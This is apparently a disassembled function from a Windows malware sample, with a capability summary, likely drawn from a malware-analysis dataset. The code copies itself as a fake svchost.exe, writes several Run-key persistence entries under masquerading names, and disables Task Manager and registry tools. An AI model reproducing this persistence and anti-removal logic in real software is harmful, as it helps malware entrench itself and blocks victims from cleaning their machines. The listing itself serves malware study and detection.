Function at 0x402780
Capabilities:
Copy file
Create directory
Delete registry key
Disable system features via registry on windows
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x108]
push eax
push 0
push 0
push 0x25
push 0
mov dword [ebp - 0x110], 1
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov esi, dword [sym.imp.SHLWAPI.dll_PathCombineA]
lea eax, [ebp - 0x108]
push str.Generic
push eax
push eax
call esi
push 0
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push str.svchost.exe
lea eax, [ebp - 0x108]
push eax
push eax
call esi
push 0
lea eax, [ebp - 0x108]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea eax, [ebp - 0x108]
push 0x103
push eax
push 1
push 0
push str.Generic_Host_Process_for_Win32_Services
push dword [ebp - 0x10c]
call ebx
push dword [ebp - 0x10c]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call edi
mov esi, dword [sym.imp.SHLWAPI.dll_SHCopyKeyA]
push 0
push 0x80000002
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
call esi
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnceGeneric_Host_Process_for_Win32_Services
push 0x80000002
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnce
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0x103
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push str.Windows_Updater
push dword [ebp - 0x10c]
call ebx
push dword [ebp - 0x10c]
call edi
push 0
push 0x80000002
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
call esi
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0x103
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push str.Windows_Server
push dword [ebp - 0x10c]
call ebx
push dword [ebp - 0x10c]
call edi
push 0
push 0x80000002
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
call esi
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunServices
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0x103
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push str.Generic
push dword [ebp - 0x10c]
call ebx
push dword [ebp - 0x10c]
call edi
mov esi, dword [sym.imp.SHLWAPI.dll_SHDeleteEmptyKeyA]
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr
push 0x80000001
call esi
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 4
lea eax, [ebp - 0x110]
push eax
push 4
push 0
push str.DisableTaskMgr
push dword [ebp - 0x10c]
call ebx
push dword [ebp - 0x10c]
call edi
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystemDisableRegistrytools
push 0x80000001
call esi
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 4
lea eax, [ebp - 0x110]
push eax
push 4
push 0
push str.DisableRegistrytools
push dword [ebp - 0x10c]
call ebx
push dword [ebp - 0x10c]
call edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403717
mov esp, ebp
pop ebp
ret